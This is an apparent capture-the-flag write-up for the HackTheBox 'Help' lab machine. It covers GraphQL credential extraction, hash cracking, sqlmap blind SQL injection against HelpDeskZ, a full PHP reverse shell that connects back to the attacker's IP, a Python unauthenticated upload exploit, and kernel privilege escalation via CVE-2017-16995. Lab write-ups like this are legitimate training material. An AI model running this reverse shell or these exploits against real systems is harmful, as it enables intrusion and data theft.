Post

HackTheBox Help Writeup

Explore the fundamentals of cybersecurity in the Help Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.10.121 help.htb

Script to add hosts automatically

1
2
3
ip="10.10.10.121"
domain="help.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
nmap -sCV help.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for help.htb (10.10.10.121)
Host is up (0.052s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

HelpDeskZ and GraphQL Endpoint Discovery

Port Overview

  • Port 80: Exposes a HelpDeskZ page in /support.
  • Port 3000: Exposes a GraphQL endpoint.

Fuzzing GraphQL Endpoints

Using ffuf to fuzz the GraphQL endpoint:

1
ffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/graphql.txt -u 'http://help.htb:3000/FUZZ' -X POST

Results:

  • graphql/schema.xml [Status: 500, Size: 61]
  • graphql [Status: 500, Size: 61]
  • graphql/schema.yaml [Status: 500, Size: 61]
  • graphql/schema.json [Status: 500, Size: 61]
  • graphql/console [Status: 500, Size: 61]

For more detailed information on exploiting GraphQL endpoints, refer to: HackTricks - GraphQL

Listing All Tables

To list all available tables in the GraphQL schema:

http://help.htb:3000/graphql/console?query={__schema{types{name,fields{name}}}}

Extracting User Credentials

Retrieving specific user information (username and password):

http://help.htb:3000/graphql/console?query={user{username,password}}

Response:

1
2
3
4
5
6
7
8
{
    "data": {
        "user": {
            "username": "helpme@helpme.com",
            "password": "5d3c93182bb20f07b994a7f617e99cff"
        }
    }
}

Brute Force the Hash

Use an hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.

1
2
3
4
5
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 0 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat -m 0 /tmp/hash.txt --show
rm -rf /tmp/hash.txt

Fuzzing Port 80 for Additional Endpoints

Using ffuf to fuzz for endpoints on port 80:

1
ffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/big.txt -u 'http://help.htb/FUZZ' -X POST

HelpDeskZ Foothold

Repository: HelpDeskZ GitHub

Authenticated Exploit: Exploit 41200

This seems to be the intended exploit, as it requires the discovered email and password, though it takes more time.

  1. Create a new ticket at: http://help.htb/support/?v=submit_ticket
  2. Submit an image or text file as an attachment.
  3. Open the newly created ticket and inspect the attached file.
  4. Copy the request in Burp Suite and send it to the repeater.

    • The vulnerable endpoint should resemble:
      1
      
      /support/?v=view_tickets&action=ticket&param[]=4
      
  5. Test the vulnerability by adding and 1=1-- - or and 1=2-- - to the query.

  6. Use SQLMap to exploit the vulnerability:

    • Edit the re.req file to include the full domain (http://help.htb) in the GET request.
    1
    
    sqlmap -r $(pwd)/re.req --level 5 --risk 3 -p "param[]" --dbms=mysql --technique=B --batch
    

    Finded payload:

    1
    2
    3
    4
    5
    6
    
     ---
     Parameter: param[] (GET)
         Type: boolean-based blind
         Title: AND boolean-based blind - WHERE or HAVING clause
         Payload: v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6 AND 6987=6987
     ---
    

    To dump the database, run:

    1
    
    sqlmap -r $(pwd)/re.req --level 5 --risk 3 -p "param[]" --dbms=mysql --technique=B --batch --dump --threads 10
    

    You will retrieve the SSH password.

    1
    
    ssh help@help.htb
    

Unauthenticated Exploit: Exploit 40300

While this may not be the intended method, it is easier to perform.

1
nc -lvnp 9001
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '<vpn-ip>';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
   $pid = pcntl_fork();
   if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
   }
   if ($pid) {
      exit(0);
   }
   if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
   }
   $daemon = 1;
} else {
   printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
   printit("$errstr ($errno)");
   exit(1);
}
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w") 
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
   printit("ERROR: Can't spawn shell");
   exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
   if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
   }
   if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
   }
   $read_a = array($sock, $pipes[1], $pipes[2]);
   $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
   if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
   }
   if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
   }
   if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
   }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
   if (!$daemon) {
      print "$string\n";
   }
}
?> 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
import hashlib
import time
import sys
import requests

print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')

if len(sys.argv) < 3:
    print("Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0]))
    sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
currentTime = int(time.time())
ext = fileName.split('.')[-1]

for x in range(0, 300):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext.encode('utf-8')).hexdigest()
    url = helpdeskzBaseUrl + md5hash + ext
    response = requests.head(url)
    if response.status_code == 200:
        print("Found!")
        print(url)
        sys.exit(0)

print("Sorry, I did not find anything")

Submit a revshell.php through the ticket submission functionality.

1
2
chmod +x upload
./upload http://help.htb/support/uploads/tickets/ revshell.php
1
cat /home/help/user.txt

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

1
stty size; stty raw -echo; fg

As the last step, set the terminal environment:

1
export TERM=xterm;
1
2
uname -a
cd /dev/shm

CVE-2017-16995

Exploit-DB 45010.

1
nano root.c
1
2
3
gcc root.c -o root
chmod +x root
./root
1
cat /root/root.txt

CVE-2017-5899

CVE-2017-5899.

There are several alternatives for privilege escalation due to the outdated kernel on the system.

One that I haven’t tried but is likely to work is CVE-2021-22555.

This post is licensed under CC BY 4.0 by the author.